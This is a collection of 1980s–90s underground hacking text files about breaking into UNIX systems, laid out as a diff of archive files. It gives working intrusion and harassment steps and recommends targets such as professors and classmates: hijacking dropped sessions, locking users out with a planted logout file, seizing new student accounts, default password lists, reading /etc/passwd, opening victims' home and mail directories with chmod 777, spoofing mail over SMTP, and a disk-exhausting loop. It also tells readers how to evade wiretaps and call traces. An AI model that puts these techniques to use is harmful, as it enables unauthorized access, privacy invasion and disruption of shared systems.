X-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-X
Another file downloaded from: NIRVANAnet(tm)
& the Temple of the Screaming Electron Jeff Hunter 510-935-5845
Rat Head Ratsnatcher 510-524-3649
Burn This Flag Zardoz 408-363-9766
realitycheck Poindexter Fortran 415-567-7043
Lies Unlimited Mick Freen 415-583-4102
Specializing in conversations, obscure information, high explosives,
arcane knowledge, political extremism, diversive sexuality,
insane speculation, and wild rumours. ALL-TEXT BBS SYSTEMS.
Full access for first-time callers. We don't want to know who you are,
where you live, or what your phone number is. We are not Big Brother.
"Raw Data for Raw Nerves"
X-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-X

2135
textfiles.com/hacking/UNIX/unixsir.hac Normal file
View File

File diff suppressed because it is too large Load Diff

231
textfiles.com/hacking/UNIX/unixsysv.hac Normal file
View File

@@ -0,0 +1,231 @@
From THE HACKER'S GUIDE TO W.S.U. comes
the ultimate in weekend entertainment
------------
-------------------------
How to Hack UNIX System V
-------------------------
includes the INTRODUCTION TO HACKING
and HOW TO NOT GET CAUGHT
-------------------------
------------
Version: 2.0
INTRODUCTION TO HACKING
=======================
Hacking is the art of attempting everything until something finally works.
The average hacker is usually only armed with educated guesses. Why hack?
Generally, you have some reason. My favorite reason being that it's fun. But
these days are getting pretty suspicious and you have to watch yourself when
hacking even if you don't have malicious intents. Hacking is lots of work and
is also dangerous. So be careful and don't get caught!
HOW TO NOT GET CAUGHT
=====================
Okay great, how do I avoid getting caught? That depends on what you are
doing. In this file I will be discussing UNIX System V and therefore my
suggestions should only be taken as pertaining to that. Even if you follow
my suggestions, you can still get caught. Some operators are extremely
persistant and will stop at nothing to nail you. If modems start answering
when you pick up a phone, or you become known as the "human carrier" by your
friends, then I suggest you lay low for awhile.
Here are some obvious things to be aware of when you are hacking by modem,
I thought I'd include them in case you overlook them. You should always be
on the lookout for these types of suspicious activity.
1] Excessive line noise in an area that usually has none.
2] You hear other voices simultaneously on the phone line.
This occasionally happens normally with the old analog FDM
multiplex equipment. But it also can be caused by a wire tap,
so try to be careful here! * See the note on wire taps.
3] Any van or minivan parked next to:
a] A telephone pole.
b] An underground steam vent hole.
c] Also watch for cloth tee-pees with MA BELL symbols on them
near poles or steam vents.
This is a *DEAD GIVAWAY*!!! If you see this, cease all hacking
for at least a month! (An make sure that the vans are GONE,
--NOT-- just moved to another location!)
>> Check for wires going to the van from the pole, or vent. And
check to see if the van is white (FBI uses these alot) or a
phone co. van.
4] Watch the abandoned rooms in your building, if they suddenly have
lots of equipment in them, take note here!
5] Anything unusual about the way your phone service operates that
the neighbors don't seem to have going on!
That's all I can come up with right now. But I'm sure there are more.
WIRE TAPS
=========
Belive it or not, this is still one of the most commonly used methods
of nabbing a hacker. The above list is a good guide to detecting an active
wire tap. If you can afford the equipment, you can do what is know as a
"sweep" of the phone line every now and then. Another thing you can do is
build a device which monitors the phone line voltage. If the voltage suddenly
drops during use, you either have a wire tap or someone picked up an extension.
Here are some specs for monitoring line voltage:
Ringer voltage:90V at 20-30Hz
On-Line:30-50V
Clear voltage:600V (Watch out! This will toast any MOV you have
in your modem! Usually this is used to fuse noisy
phone lines shut.)
The average cops don't have the equipment to properly implement a wire tap,
much less a data tap. However, I have heard of data cops in Seattle and
Chicago.
TRACING PHONE CALLS
===================
Here is yet another way you can get your butt caught. It is getting
easier and easier for the average person to trace phone calls. I just
found out a few days ago that dialing 33 on an on-campus phone will trace
the last call to that phone. Rest assured that an operator will use this
to nab you if he can. This however, only affects remote dial-ups, and not
the on-campus links. Remote dial-ups used to be so safe, but no more...
A good place to hack from is a nearby terminal room. *NOT* in the same
building that you live in! Do it at night, so if there is a system operator
at all on duty late he will probably be sleeping.
RFI READING
===========
This is a fairly new method of catching hackers, and I really don't think
the average hacker has much to worry from it. It is too complex to implement
and doesn't even work most of the time. Especially if you're in an area that
has lots of TV's or computer monitors. The device used basicly reads the
faint radio frequencies created by your monitor and translates them back into
a video signal. When it actually does work the guy running it can see exactly
what you are seeing on your monitor. Pretty tricky, but he has to be able to
pick out your signal first.
ESS -- IT'S BAD
===============
Alright boys and girls, on top of everything else in the world we now are
bless with the wonders of Electronic Standardized Switching. Or otherwise
known as ESS. Remember that sharp increase in your phone bill about a year
ago? "It's a new computerized system designed to allow quicker routing of
your calls". Bullshit. It sole purpose is to catch phreakers. That's all
it does, and it does it well. With this, the phone co. can trace a call in
.55 seconds to anywhere. It keeps records on all calls, including local!
And just about every phone box in the books will not only refuse to work,
ESS will notify the cops when you try to use it!
Have some faith. ESS is not exactly the end of the world either. Like
every system ever come up with, people will hack it. And eventually it will
be just as easy to hack ESS as it was to do on the old phone system.
+++++++++++++++++++++++++++++++++++++
Okay! Enough beginner's stuff!
Onward to hacking UNIX System V !
+++++++++++++++++++++++++++++++++++++
Not much here: I just started this paper, and am still looking for
anything I can add to it!
Remember: The operator can see what you are doing at all times! But
usually they don't care or the information scrolls by so
fast they don't have time to read it.
Note: If you flub up your password or try to access secured files, the
system will automaticly record everything that you do! And on
some systems, the system will record everything you do anyway!
HOW TO LOG ON UNDER ANOTHER USER'S NAME
=======================================
This is the heart of hacking a UNIX system. You don't want to do any
hacking under any ID that can be associated with you. And you don't want
to use another user's ID more than once if at all possible.
There really is no way to get a name and password without first having
some level of access to the system. How do I get in then? I rely on the
fact that our GANDALF data switch is extremely unstable. 1 out of 5 logins
will drop you under someone else's name *NO QUESTIONS ASKED*. Just change
parity (8N1 to E71) alot while GANDALF is loading UNIX. Eventually, you
will get in this way. This happens because a user hung up on the phone
line without loggig off! So be sure to log yourself off the system when
you finish with *ANY* work.
They saw. A couple of days ago I was doing this and somehow I was
logged off of the system. The words "LOGOFF" just appeared on my command
prompt and entered themselfs. I suspect the guy whose number I used was in
the terminal room monitored by a superuser. And he just told the SU that
there appeared to be two of him. (Probably used the WHO command).
THE LOCK OUT
============
Believe it or not, UNIX will actually allow you to lock out other
users from the system. First, you select a target person. Then you place
the file VI.LOGIN in their default directory (the one that UNIX automaticly
loads them into when they log onto the system). You set up VI.LOGIN like
this:
VI.LOGIN (Just the file name!)
logout
So VI.LOGIN only contains one command. VI.LOGIN is automaticly executed
when a person logs onto the system. So as soon as your pigeon gets onto the
system he immeadiatly gets logged off!
Suggested Uses: On a Prof a few days before your assignment is due.
Someone you really don't like (wait a few weeks so they
don't figure it out right away!)
It might work on the ROOT (The SuperUser's name)
GETTING NEW NAMES
=================
Here is yet another way to gather SEVERAL users names AND PASSWORDS.
First, (the hard part) wait until the beginning of a semester. Now,
somehow you have to get a list of the ID numbers for students in UNIX-
oriented classes. You can usually find one of these lists posted outside
a professor's office (try the computer science building) or one of many
other places. Anyways, you have a list of student ID numbers.
Now, preferably on the first day of class, start logging in as a few
(maybe 3-4) students. I prefer to use ID's from low-level (100's) classes
as the students will just think that they've screwed up. Log into the
system, and if the student hasn't been on the system before, you will
be prompted for a password! And viola! You not only have access but also
you have the password of your choice. This happens because the computing
faculty is too lazy to pass out customized passwords to thier students.
New students are expected to select their own passwords, but that means
that the system won't be able to tell who is who!
Suggested Uses: Most likely your access won't stay good for more than
a few days. You might want to take full advantage of it
and really cause some havoc. For one thing, you could
lock out an entire computer class! (See LOCK OUT
described above). If you're really good, and can crack
the coded passwords in the PASSWRDS file, then you can
get the Super-User (SU) password and have all the fun
you want!
=========
THE END
=========
And Remember!
This paper was provided for educational purposes only!
Special thanks to:
==================
The Mad Phone-Man
The Grey Sorcerer
The Sneak Thief
Harry Hackalot
Downloaded From P-80 International Information Systems 304-744-2253

237
textfiles.com/hacking/UNIX/unixsysv.txt Normal file
View File

@@ -0,0 +1,237 @@
UNIXSYSV.HAK
UNIXSYSV.HAK - File on hacking Unix System V's
From THE HACKER'S GUIDE TO W.S.U. comes
the ultimate in weekend entertainment
------------
How to Hack UNIX System V
-------------------------
includes the INTRODUCTION TO HACKING
and HOW TO NOT GET CAUGHT
-------------------------
------------
Last Revision: 1-18-89
Version: 2.0
INTRODUCTION TO HACKING
=======================
Hacking is the art of attempting everything until something finally works.
The average hacker is usually only armed with educated guesses. Why hack?
Generally, you have some reason. My favorite reason being that it's fun. But
these days are getting pretty suspicious and you have to watch yourself when
hacking even if you don't have malicious intents. Hacking is lots of work and
is also dangerous. So be careful and don't get caught!
HOW TO NOT GET CAUGHT
=====================
Okay great, how do I avoid getting caught? That depends on what you are
doing. In this file I will be discussing UNIX System V and therefore my
suggestions should only be taken as pertaining to that. Even if you follow
my suggestions, you can still get caught. Some operators are extremely
persistant and will stop at nothing to nail you. If modems start answering
when you pick up a phone, or you become known as the "human carrier" by your
friends, then I suggest you lay low for awhile.
Here are some obvious things to be aware of when you are hacking by modem,
I thought I'd include them in case you overlook them. You should always be
on the lookout for these types of suspicious activity.
1] Excessive line noise in an area that usually has none.
2] You hear other voices simultaneously on the phone line.
This occasionally happens normally with the old analog FDM
multiplex equipment. But it also can be caused by a wire tap,
so try to be careful here! * See the note on wire taps.
3] Any van or minivan parked next to:
a] A telephone pole.
b] An underground steam vent hole.
c] Also watch for cloth tee-pees with MA BELL symbols on them
near poles or steam vents.
This is a *DEAD GIVAWAY*!!! If you see this, cease all hacking
for at least a month! (An make sure that the vans are GONE,
--NOT-- just moved to another location!)
>> Check for wires going to the van from the pole, or vent. And
check to see if the van is white (FBI uses these alot) or a
phone co. van.
4] Watch the abandoned rooms in your building, if they suddenly have
lots of equipment in them, take note here!
5] Anything unusual about the way your phone service operates that
the neighbors don't seem to have going on!
That's all I can come up with right now. But I'm sure there are more.
WIRE TAPS
=========
Belive it or not, this is still one of the most commonly used methods
of nabbing a hacker. The above list is a good guide to detecting an active
wire tap. If you can afford the equipment, you can do what is know as a
"sweep" of the phone line every now and then. Another thing you can do is
build a device which monitors the phone line voltage. If the voltage suddenly
drops during use, you either have a wire tap or someone picked up an extension.
Here are some specs for monitoring line voltage:
Ringer voltage:90V at 20-30Hz
On-Line:30-50V
Clear voltage:600V (Watch out! This will toast any MOV you have
in your modem! Usually this is used to fuse noisy
phone lines shut.)
The average cops don't have the equipment to properly implement a wire tap,
much less a data tap. However, I have heard of data cops in Seattle and
Chicago.
TRACING PHONE CALLS
===================
Here is yet another way you can get your butt caught. It is getting
easier and easier for the average person to trace phone calls. I just
found out a few days ago that dialing 33 on an on-campus phone will trace
the last call to that phone. Rest assured that an operator will use this
to nab you if he can. This however, only affects remote dial-ups, and not
the on-campus links. Remote dial-ups used to be so safe, but no more...
-- more --A good place to hack from is a nearby terminal room. *NOT* in the same
building that you live in! Do it at night, so if there is a system operator
at all on duty late he will probably be sleeping.
RFI READING
===========
This is a fairly new method of catching hackers, and I really don't think
the average hacker has much to worry from it. It is too complex to implement
and doesn't even work most of the time. Especially if you're in an area that
has lots of TV's or computer monitors. The device used basicly reads the
faint radio frequencies created by your monitor and translates them back into
a video signal. When it actually does work the guy running it can see exactly
what you are seeing on your monitor. Pretty tricky, but he has to be able to
pick out your signal first.
ESS -- IT'S BAD
===============
Alright boys and girls, on top of everything else in the world we now are
bless with the wonders of Electronic Standardized Switching. Or otherwise
known as ESS. Remember that sharp increase in your phone bill about a year
ago? "It's a new computerized system designed to allow quicker routing of
your calls". Bullshit. It sole purpose is to catch phreakers. That's all
it does, and it does it well. With this, the phone co. can trace a call in
-- more --.55 seconds to anywhere. It keeps records on all calls, including local!
And just about every phone box in the books will not only refuse to work,
ESS will notify the cops when you try to use it!
Have some faith. ESS is not exactly the end of the world either. Like
every system ever come up with, people will hack it. And eventually it will
be just as easy to hack ESS as it was to do on the old phone system.
+++++++++++++++++++++++++++++++++++++
Okay! Enough beginner's stuff!
Onward to hacking UNIX System V !
+++++++++++++++++++++++++++++++++++++
Not much here: I just started this paper, and am still looking for
anything I can add to it!
Remember: The operator can see what you are doing at all times! But
usually they don't care or the information scrolls by so
fast they don't have time to read it.
Note: If you flub up your password or try to access secured files, the
system will automaticly record everything that you do! And on
some systems, the system will record everything you do anyway!
HOW TO LOG ON UNDER ANOTHER USER'S NAME
=======================================
This is the heart of hacking a UNIX system. You don't want to do any
hacking under any ID that can be associated with you. And you don't want
to use another user's ID more than once if at all possible.
There really is no way to get a name and password without first having
some level of access to the system. How do I get in then? I rely on the
fact that our GANDALF data switch is extremely unstable. 1 out of 5 logins
will drop you under someone else's name *NO QUESTIONS ASKED*. Just change
parity (8N1 to E71) alot while GANDALF is loading UNIX. Eventually, you
will get in this way. This happens because a user hung up on the phone
line without loggig off! So be sure to log yourself off the system when
you finish with *ANY* work.
They saw. A couple of days ago I was doing this and somehow I was
logged off of the system. The words "LOGOFF" just appeared on my command
prompt and entered themselfs. I suspect the guy whose number I used was in
-- more --the terminal room monitored by a superuser. And he just told the SU that
there appeared to be two of him. (Probably used the WHO command).
THE LOCK OUT
============
Believe it or not, UNIX will actually allow you to lock out other
users from the system. First, you select a target person. Then you place
the file VI.LOGIN in their default directory (the one that UNIX automaticly
loads them into when they log onto the system). You set up VI.LOGIN like
this:
VI.LOGIN (Just the file name!)
logout
So VI.LOGIN only contains one command. VI.LOGIN is automaticly executed
when a person logs onto the system. So as soon as your pigeon gets onto the
system he immeadiatly gets logged off!
Suggested Uses: On a Prof a few days before your assignment is due.
Someone you really don't like (wait a few weeks so they
don't figure it out right away!)
It might work on the ROOT (The SuperUser's name)
GETTING NEW NAMES
=================
Here is yet another way to gather SEVERAL users names AND PASSWORDS.
First, (the hard part) wait until the beginning of a semester. Now,
somehow you have to get a list of the ID numbers for students in UNIX-
oriented classes. You can usually find one of these lists posted outside
a professor's office (try the computer science building) or one of many
other places. Anyways, you have a list of student ID numbers.
Now, preferably on the first day of class, start logging in as a few
(maybe 3-4) students. I prefer to use ID's from low-level (100's) classes
as the students will just think that they've screwed up. Log into the
system, and if the student hasn't been on the system before, you will
be prompted for a password! And viola! You not only have access but also
you have the password of your choice. This happens because the computing
faculty is too lazy to pass out customized passwords to thier students.
New students are expected to select their own passwords, but that means
that the system won't be able to tell who is who!
Suggested Uses: Most likely your access won't stay good for more than
a few days. You might want to take full advantage of it
and really cause some havoc. For one thing, you could
lock out an entire computer class! (See LOCK OUT
described above). If you're really good, and can crack
the coded passwords in the PASSWRDS file, then you can
get the Super-User (SU) password and have all the fun
you want!
=========
THE END
=========
And Remember!
This paper was provided for educational purposes only!
Special thanks to:
==================
The Mad Phone-Man
The Grey Sorcerer
The Sneak Thief
Harry Hackalot

655
textfiles.com/hacking/UNIX/unixtips Normal file
View File

@@ -0,0 +1,655 @@
*** A List Of Some OF The Most Useful UNIX **
*** Hacking Commands, and Some Hints On Their Usage ***
---------------------------------------------------------------
It is fun and often usefull to create a file that is owned
by someone else. On most systems with slack security ie 99% of
all UNIX systems, this is quite easily done. The chown command
will change any of your files to make someone else the owner.
Format is as follows:
chown ownername filelist
Where ownername is the new owner, and filelist is the list of
files to change. You must own the file which your are goin to
change, unless you are a superuser....then u can change ANYTHING!
chgrp is a similar command which will change the group
ownership on a file. If you are going to do both a chown and a
chgrp on a file, then make sure you do the chgrp first! Once the
file is owned by someone else, you cant change nything about it!
---------------------------------------------------------------
Sometimes just seeing who is on the system is a challenge in
itself. The best way is to write your own version of who in C,
but if you can't do that then this may be of some help to you:
who followed by on or more of the following flags:
-b Displays time sys as last booted.
-H Precedes output with header.
-l Lists lines waiting for users to logon.
-q displays number of users logged on.
-t displays time sys clock was last changed.
-T displays the state field (a + indicates it is
possible to send to terminal, a - means u cannot)
-u Give a complete listing of those logged on.
**who -HTu is about the best choice for the average user**
##by the way, the list of users logged on is kept in the file
/etc/utmp. If you want to write your own personalised version of
who in C, you now know where to look!###
---------------------------------------------------------------
When a users state field (see -T flag option for who
command) says that a user has their message function on, this
actually means that it is possible to get stuff onto their
screen.
Basically, every terminal on the system has a file
corresponding to it. These files can be found in the /dev
directory. You can to anything to these files, so long as you
have access -eg you can read them, and write to them, but you
will notice that they never change in size. They are called
character specific files, and are really the link between the
system and the terminals. Whatever you put in these files will
go staright to the terminal it corresponds to.
Unfortunately, on most systems, when the user logs in, the
"mesg n" command is issued which turns off write access to that
terminal, BUT- if you can start cating to that terminal before
system issues the mesg n command, then you will continue to be
able to get stuff up on that terminal! This has many varied uses.
Check out the terminal, or terminal software being used.
Often you will be able to remotely program another users
terminal, simply by 'cating' a string to a users screen. You
might be able to set up a buffer, capturing all that is typed, or
you may be able to send the terminal into a frenzy- (sometimes a
user will walk away without realizing that they are sill
effectively logged on, leaving you with access to their
account!). Some terminal types also have this great command
called transmit screen. It transmits everything on the screen,
just as if the user had typed it !
So just say I wanted to log off a user, then I would send a
clear screen command (usually ctrl l), followed by "exit"
followed by a carriage return, followed by the transmit screen
code. Using ths technique you can wipe peoples directories or
anything. My favourite is to set open access on all their files
and directories so I can peruse them for deletion etc at my own
leisure).
---------------------------------------------------------------
If you ever briefly get access to another persons account
eg. they leave the room to go to toilet or whatever, then simply
type the following:
chmod 777 $HOME
chmod 777 $MAIL
Then clear the screen so they dont see what you just typed.
Now you can go look at their directory, and their mail, and
you can even put mail in their mail file. (just use the same
format as any mail that is already there!). Next time they log in
the system will automatically inform them they have new mail!
---------------------------------------------------------------
Another way to send fake mail to people is to use the mail
server. This method produces mail that is slightly different to
normal, so anyone who uses UNIX a bit may be suspiscious when
they receive it, but it will fool the average user!
type telnet
the following prompt will appear:
telnet>
now type :
open localhost 25
some crap will come up about the mail server..now type:
mail from: xxxxxx Put any name you want.
some more bullshit will come up. Now type:
rcpt to: xxxxxx Put the name of the person to receive mail here.
now type:
data
now you can type the letter...end it with a "."
type quit to exit once you are done.
-------------------------------------------------------------
Heres one for any experimenters out there...
It is possible to create files which simply cannot be deleted
from the standard shell. To do this you will have to physically
CREATE THE FILE USING A C PROGRAM or SCRIPT FILE, and you will
have to use a sequence of control characters which cannot be
typed from the shell. Try things like Ctrl-h (this is the
code for the delete key). Just a file with the name Ctrl-h would
not be deleteable from the shell, unless you used wildcards. So,
make it a nice long series of characters, so that to delete the
file, the user has no choice but to individually copy all his
files elsewhere, then delete everything in his directory, and
then copy all his files back.....this is one of my
favourites..gets em every time!
The following script file is an example which will create a
file with the name Ctrl-h. You MUST tyoe this file in using the
vi editor or similar.
*****If you are not very good with vi, type "man vi" and print the
help file...it even contains stuff that I find useful now and
then.*****
type the following in vi...
echo'' > 'a^h'
***NOTE...to get the ^h (this really means ctrl-h) from vi type:
Ctrl v
Ctrl h
The Ctrl v instrcts vi to take the next character as a ascii
character, and not to interpret it.
change the access on the file you just created and now
execute it. It will create a file which looks like it is called
a, but try to delete it !..use wildcards if you really want to
delete it.
*> Title: Tutorial on hacking through a UNIX system
**
In the following file, all references made to the name Unix, may also be
substituted to the Xenix operating system.
Brief history: Back in the early sixties, during the development of
third generation computers at MIT, a group of programmers studying the
potential of computers, discovered their ability of performing two or
more tasks simultaneously. Bell Labs, taking notice of this discovery,
provided funds for their developmental scientists to investigate into this
new frontier. After about 2 years of developmental research, they produced
an operating system they called "Unix".
Sixties to Current: During this time Bell Systems installed the Unix system
to provide their computer operators with the ability to multitask so that
they could become more productive, and efficient. One of the systems they
put on the Unix system was called "Elmos". Through Elmos many tasks (i.e.
billing,and installation records) could be done by many people using the same
mainframe.
Note: Cosmos is accessed through the Elmos system.
Current: Today, with the development of micro computers, such multitasking
can be achieved by a scaled down version of Unix (but just as
powerful). Microsoft,seeing this development, opted to develop their own
Unix like system for the IBM line of PC/XT's. Their result they called
Xenix (pronounced zee-nicks). Both Unix and Xenix can be easily installed
on IBM PC's and offer the same function (just 2 different vendors).
Note: Due to the many different versions of Unix (Berkley Unix,
Bell System III, and System V the most popular) many commands
following may/may not work. I have written them in System V routines.
Unix/Xenix operating systems will be considered identical systems below.
How to tell if/if not you are on a Unix system: Unix systems are quite
common systems across the country. Their security appears as such:
Login; (or login;)
password:
When hacking on a Unix system it is best to use lowercase because the Unix
system commands are all done in lower- case. Login; is a 1-8 character field. It is
usually the name (i.e. joe or fred) of the user, or initials (i.e. j.jones
or f.wilson). Hints for login names can be found trashing the location of
the dial-up (use your CN/A to find where the computer is). Password: is a 1-8 character password assigned by the sysop or chosen by the user.
Common default logins
--------------------------
login; Password:
root root,system,etc..
sys sys,system
daemon daemon
uucp uucp
tty tty
test test
unix unix
bin bin
adm adm
who who
learn learn
uuhost uuhost
nuucp nuucp
If you guess a login name and you are not asked for a password, and have
accessed to the system, then you have what is known as a non-gifted account.
If you guess a correct login and pass- word, then you have a user account.
And, if you get the root p/w you have a "super-user" account.
All Unix systems have the following installed to their system:
root, sys, bin, daemon, uucp, adm Once you are in the system, you will
get a prompt. Common prompts are:
$
%
#
But can be just about anything the sysop or user wants it to be.
Things to do when you are in: Some of the commands that you may want to
try follow below:
who is on (shows who is currently logged on the system.)
write name (name is the person you wish to chat with)
To exit chat mode try ctrl-D.
EOT=End of Transfer.
ls -a (list all files in current directory.)
du -a (checks amount of memory your files use;disk usage)
cd\name (name is the name of the sub-directory you choose)
cd\ (brings your home directory to current use)
cat name (name is a filename either a program or documentation your username has written)
Most Unix programs are written in the C language or Pascal
since Unix is a programmers' environment. One of the first things done on the
system is print up or capture (in a buffer) the file containing all user names and accounts. This can be done by doing the following command:
cat /etc/passwd
If you are successful you will see a list of all accounts on the system. It
should look like this:
root:hvnsdcf:0:0:root dir:/: joe:majdnfd:1:1:Joe Cool:/bin:/bin/joe hal::1:2:Hal Smith:/bin:/bin/hal
The "root" line tells the following info :
login name=root
hvnsdcf = encrypted password
0 = user group number
0 = user number
root dir = name of user
/ = root directory
In the Joe login, the last part "/bin/joe " tells us which directory
is his home directory (joe) is. In the "hal" example the login name is
followed by 2 colons, that means that there is no password needed to get in
using his name.
Conclusion: I hope that this file will help other novice Unix hackers
obtain access to the Unix/Xenix systems that they may find.
On the Security of UNIX
=-=-=-=-=-=-=-=-=-=-=-=
Recently there has been much interest in the security aspects of operating
systems and software.At issue is the ability to prevent undesired disclosure of
information, destruction of information,and harm to the functioning of the
system.This paper discusses the degree of security which can be provided under
the system and offers a number of hints on how to improve security.The first
fact to face is that UNIX was not developed with security,in any realistic
sense,in mind;this fact alone guarantees a vast number of holes.(Actually the
same statement can be made with respect to most systems.)
The area of security in which is theoretically weakest is in protecting against
crashing or at least crippling the operation of the system.The problem here is
not mainly in uncritical acceptance of bad parameters to system calls (there
may be bugs in this area, but none are known)but rather in lack of checks for
excessive consumption of resources.
Most notably, there is no limit on the amount of disk storage used, either in
total space allocated or in the number of files or directories.Here is a
particularly ghastly shell sequence guaranteed to stop the system:
while : ; do
mkdir x
cd x
done
Either a panic will occur because all the i-nodes on the device are used up,
or all the disk blocks will be consumed, thus preventing anyone from writing
files on the device.In this version of the system,users are prevented from
creating more than a set number of processes simultaneously,so unless users
are in collusion it is unlikely that any one can stop the system altogether.
However, creation of 20 or so CPU or disk-bound jobs leaves few resources
available for others.Also, if many large jobs are run simultaneously,swap space
may run out, causing a panic. It should be evident that excessive consumption
of diskspace, files, swap space and processes can easily occur accidentally in
malfunctioning programs as well as at command level.In fact UNIX is essentially
defenseless against this kind of abuse,nor is there any easy fix.The best that
can be said is that it is generally fairly easy to detect what has happened
when disaster strikes ,to identify the user responsible, and take appropriate
action.In practice,we have found that difficulties in this area are rather
rare,but we have not been faced with malicious users,and enjoy a fairly
generous supply of resources which have served to cushion us against accidental
overconsumption.
The picture is considerably brighter in the area of protection of information
from unauthorized perusal and destruction.Here the degree of security seems
(almost) adequate theoretically, and the problems lie more in the necessity for
care in the actual use of the system.Each UNIX file has associated with it
eleven bits of protection information together with a user identification
number and a user-group identification number (UID and GID).
Nine of the protection bits are used to specify independently permission to
read, to write, and to execute the file to the user himself, to members of the
user's group, and to all other users.Each process generated by or for a user
has associated with it an effective UID and a real UID, and an effective and
real GID.When an attempt is made to access the file for reading, writing, or
executing UID for the process is changed to the UID associated with the file;
the change persists until the process terminates or until the UID changed again
by another execution of a set-UID file.Similarly the effective group ID of a
process is changed to the GID associated with a file when that file is executed
and has the set-GID bit set.The real UID and GID of a process do not change
when any file is executed,but only as the result of a privileged system
call.The basic notion of the set-UID and set-GID bits is that one may write a
program which is executableby others and which maintains files accessible to
others only by that program.
The classical example is the game-playing program which maintains records of
the scores of its players.The program itself has to read and write the score
file,but no one but the game's sponsor can be allowed unrestricted access to
the file lest they manipulate the game to their own advantage.
The solution is to turn on the set-UID bit of the game program. When, and only
when,it is invoked by players of the game,it may update the score file but
ordinary programs executed by others cannot access the score. There are a
number of special cases involved in determining access permissions. Since
executing a directory as a program is a meaningless operation,the
execute-permission bit, for directories, is taken instead to mean permission to
search the directory for a given file during the scanning of a path name; thus
if a directory has execute permission but no read permission for a given user,
he may access files with known names in the directory,but may not read (list)
the entire contents of the directory.
Write permission on a directory is interpreted to mean that the user may create
and delete files in that directory;it is impossible for any user to write
directly into any directory..Another, and from the point of view of security,
much more serious special case is that there is a ``super user'' who is able to
read any file and write any non-directory.The super-user is also able to change
the protection mode and the owner UID and GID of any file and to invoke
privileged system calls.It must be recognized that the mere notion of a
super-user is a theoretical, and usually practical, blemish on any protection
scheme.
The first necessity for a secure system is of course arranging that all files
and directories have the proper protection modes.Traditionally, UNIX software
has been exceedingly permissive in this regard;essentially all commands create
files readable and writable by everyone.In the current version,this policy may
be easily adjusted to suit the needs ofthe installation or the individual user.
Associated with each process and its descendants is a mask, which is in effect
anded with the mode of every file and directory created by that process. In
this way, users can arrange that, by default,all their files are no more
accessible than they wish.The standard mask, set by login,allows all permiss-
ions to the user himself and to his group,but disallows writing by others.
To maintain both data privacy and data integrity,it is necessary, and largely
sufficient,to make one's files inaccessible to others. The lack of sufficiency
could follow from the existence of set-UID programs created by the user and the
possibility of total breach of system security in one of the ways discussed
below(or one of the ways not discussed below).
For greater protection,an encryption scheme is available.Since the editor is
able to create encrypted documents, and the crypt command can be used to pipe
such documents into the other text-processing programs,the length of time
during which clear text versions need be available is strictly limited.The
encryption scheme used is not one of the strongest known, but it is judged
adequate, in the sense that cryptanalysisis likely to require considerably more
effort than more direct methods of reading the encrypted files.For example, a
user who stores data that he regards as truly secret should be aware that he is
implicitly trusting the system administrator not to install a version of the
crypt command that stores every typed password in a file. Needless to say, the
system administrators must be at least as careful as their most demanding user
to place the correct protection mode on the files under their control.
In particular,it is necessary that special files be protected from writing, and
probably reading, by ordinary users when they store sensitive files belonging
to otherusers.It is easy to write programs that examine and change files by
accessing the device on which the files live.
On the issue of password security,UNIX is probably better than most systems.
Passwords are stored in an encrypted form which, in the absence of serious
attention from specialists in the field,appears reasonably secure, provided its
limitations are understood.In the current version, it is based on a slightl y
defective version of the Federal DES;it is purposely defective so that
easily-available hardware is useless for attempts at exhaustive
key-search.Since both the encryption algorithm and the encrypted passwords are
available,exhaustive enumeration of potential passwords is still feasible up to
a point.We have observed that users choose passwords that are easy to
guess:they are short, or from a limited alphabet, or in a dictionary.
Passwords should be at least six characters long and randomly chosen from an
alphabet which includes digits and special characters.
Of course there also exist feasible non-cryptanalytic ways of finding out
passwords.For example: write a program which types out ``login:''on the
typewriter and copies whatever is typed to a file of your own. Then invoke the
command and go away until the victim arrives..The set-UID (set-GID)notion must
be used carefully if any security is to be maintained. The first thing to keep
in mind is that a writable set-UID file can have another program copied onto
it.
For example, if the super-user command is writable,anyone can copy the shell
onto it and get a password-free version of Shell Unix.A more subtle problem can
come from set-UID programs which are not sufficiently careful of what is fed
into them.To take an obsolete example,the previous version of the mail command
was set-UID and owned by the super-user.This version sent mail to the r
ecipient's own directory.The notion was that one should be able to send mail to
anyone even if they want to protecttheir directories from writing. The trouble
was that mailwas rather dumb:anyone could mail someone else's priva te file to
himself.Much more seriousis the following scenario: make a file with a line
like one in the password filewhich allows one to log in as the super-user.Then
make a link named ``.mail'' to the password file in some writable directory on
the same device as the password file (say /tmp). Finally mail the bogus login
line to /tmp/.mail;You can then login as the superuser,clean up the
incriminating evidence,and have your will.
The fact that users can mount their own disks and tapes as file systems can be
another way of gaining super-user status.Once a disk pack is mounted, the
system believes what is on it.Thus one can take a blank disk pack,put on it
anything desired,and mount it.There are obvious and unfortunate consequences.
For example:a mounted disk with garbage on it will crash the system;one of the
files on the mounted disk can easily be a password-free version of Shell Unix;
other files can be unprotected entries for special files. The only easy fix
for this problem is to forbid the use of mount to unpriv- ileged users.A
partial solution, not so restrictive,would be to have the mount command examine
the special file for bad data,set-UID programs owned by others ,and accessible
special files,and balk at unprivileged invokers.
Scott Walters London, CANADA
walterss@julian.uwo.ca <CarbonBoy>
PGP 31 03 1B E1 C7 6E 3A EC 97 32 01 BA 5B 05 5D FB
finger me for public key block
MIME-mail welcome
'Beware the fury of a patient man.'

326
textfiles.com/hacking/UNIX/unixtroj.hac Normal file
View File

@@ -0,0 +1,326 @@
------------------
UNIX Trojan Horses
------------------
Introduction
------------
"UNIX Security" is an oxymoron. It's an easy system to bruteforce hack
(most UNIX systems don't hang up after x number of login tries, and there are
a number of default logins, such as root, bin, sys and uucp). Once you're in
the system, you can easily bring it to its knees or, if you know a little 'C',
you can make the system work for you and totally eliminate the security
barriers to creating your own logins, reading anybody's files, etcetera. This
file will outline such ways by presenting 'C' code that you can implement
yourself.
Requirements
------------
You'll need a working account on a UNIX system. It should be a fairly
robust version of UNIX (such as 4.2bsd or AT&T System V) running on a real
machine (a PDP/11, VAX, Pyramid, etc.) for the best results. If you go to
school and have an account on the school system, that will do perfectly.
Notes
-----
This file was inspired an article in the April, '86 issue of BYTE
entitled "Making UNIX Secure." In the article, the authors say "We provide
this information in a way that, we hope, is interesting and useful yet stops
short of being a 'cookbook for crackers.' We have often intentionally omitted
details." I am following the general outline of the article, giving explicit
examples of the methods they touched on.
